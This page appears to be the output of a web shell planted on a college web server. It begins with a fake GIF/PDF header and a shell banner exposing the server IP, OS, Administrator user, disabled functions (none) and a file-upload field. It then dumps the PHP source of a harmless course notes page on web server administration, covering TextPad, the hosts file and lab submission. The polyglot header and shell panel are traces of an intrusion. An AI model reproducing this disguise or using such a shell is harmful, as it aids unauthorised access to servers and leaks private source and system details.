GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/MichaelMalz/CST1611/Notes/ |
Upload File : |
<? // JimMartinson/CST1611/Notes/notes.phpinc require('Gradebook/EvaluationSubmission_BEGIN_folders.phpinc'); // Replaced. if (isset($evaluationName) && $evaluationName != '') { if (strlen($evaluationNumber) == 1) { $LabNumber = '0'.$evaluationNumber; } else { $LabNumber = $evaluationNumber; } $LabName = $evaluationName; $LabComment = ''; } else { $LabNumber = 'NN'; $LabName = 'Lab<span style="color:blue;">NN</span>'; $LabComment = ' (where <b><span style="color:blue;">NN</span></b> is the two digit lab number)'; } ?> <fieldset><legend>Notes</legend> <a name="note1"><b>Note 1. TextPad editor.</b></a> <br> I highly recommend that you install and use <b>TextPad</b> to edit your <b>httpd.conf</b> file. <br> Follow the <a href="/JimMartinson/Setup/TextPad/?dataFolder=Data_WWW&courseNumber=CST1611&courseTitle=Web Server Administration" target="_blank">TextPad Installation Guide</a> and <a href="/JimMartinson/Setup/TextPad/?TextpadApacheDocumentClassSetup&dataFolder=Data_WWW&courseNumber=CST1611&courseTitle=Web Server Administration" target="_blank">TextPad Apache Document Class Setup</a>. <br> If you do this then your <b>httpd.conf</b> file will have color highlighting of the text. This makes edits much easier. <br> I have created a Windows shortcut that runs TextPad and loads your <b>httpd.conf</b> file for editing. <br> You can download the <b><a href="/JimMartinson/CST1611/notes/httpd.conf.lnk">httpd.conf.lnk</a></b> file and save it in your <b><?=$_SESSION['userDefaultDrive']?>:\<?=$courseNumber?></b> directory. Then use it to open your <b>httpd.conf</b> file for editing. <br> <br> <a name="note2"><b>Note 2. The windows hosts file.</b></a> <br> Make sure there is a blank line at the end of the <b>hosts</b> file before you save it. <br> Windows does not always read the <b>hosts</b> file correctly. The last line may not be parsed correctly unless it has an end of line code. By entering a blank line at the end of the <b>hosts</b> file you insure that all host names are correctly parsed. <br> I have created a Windows shortcut that runs TextPad and loads your <b>hosts</b> file for editing. <br> You can download the <b><a href="/JimMartinson/CST1611/notes/hosts.lnk">hosts.lnk</a></b> file and save it in your <b><?=$_SESSION['userDefaultDrive']?>:\<?=$courseNumber?></b> directory. Then use it to open your hosts file for editing. <br> <br> <a name="note3"><b>Note 3. Turning in labs.</b></a> <br> For all of your labs you need to copy your <b>hosts</b> and <b>httpd.conf</b> files into the folder you created for that lab. <br> I have created a batch file (Copy_hosts_httpd.conf_to_Lab.bat) that copies your your <b>hosts</b> and <b>httpd.conf</b> files into your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$LabName?></b> folder<?=$LabComment?>. <br> You can download the <b><a href="/JimMartinson/CST1611/notes/Copy_hosts_httpd.conf_to_Lab.bat">Copy_hosts_httpd.conf_to_Lab.bat</a></b> file and save it in your <b><?=$_SESSION['userDefaultDrive']?>:\<?=$courseNumber?></b> directory. Then use it to copy the files when turning in assignments. <br> Here is what running Copy_hosts_httpd.conf_to_Lab.bat looks like (the <kbd style="color:yellow;">yellow</kbd> text is your entry): <pre class="kbd"> Enter the lab number. Include any leading zero. Enter a blank number to exit without copy. Lab<span style="color:yellow;"><?=$LabNumber?></span> <?=$_SESSION['userDefaultDrive']?>:\CST1611>copy hosts <?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$LabName?> 1 file(s) copied. <?=$_SESSION['userDefaultDrive']?>:\CST1611>copy httpd.conf <?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$LabName?> 1 file(s) copied. Press any key to continue . . .</pre> </fieldset>